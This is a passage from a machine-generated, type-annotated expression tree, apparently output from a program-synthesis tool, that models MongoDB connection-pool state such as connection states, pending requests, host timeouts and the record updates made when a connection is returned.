'conn_next_refresh').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EMap(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), EUnaryOp('not', EBinOp(EUnaryOp('exists', EMap(EFilter(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EBinOp(EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()))).with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))))).with_type(TBool()), 'or', EUnaryOp('exists', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), ECall('after', (EArgMax(EMap(EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '!=', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_returned').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), ELambda(EVar('x').with_type(TNative('mongo::Date_t')), EVar('x').with_type(TNative('mongo::Date_t')))).with_type(TNative('mongo::Date_t')), EVar('hostTimeout').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '-', EBinOp(EBinOp(EMap(EVar('reqs').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), ELambda(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EGetField(EVar('r').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), 'rq_expiration').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), '+', EMap(EFilter(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var433').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('_var433').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', 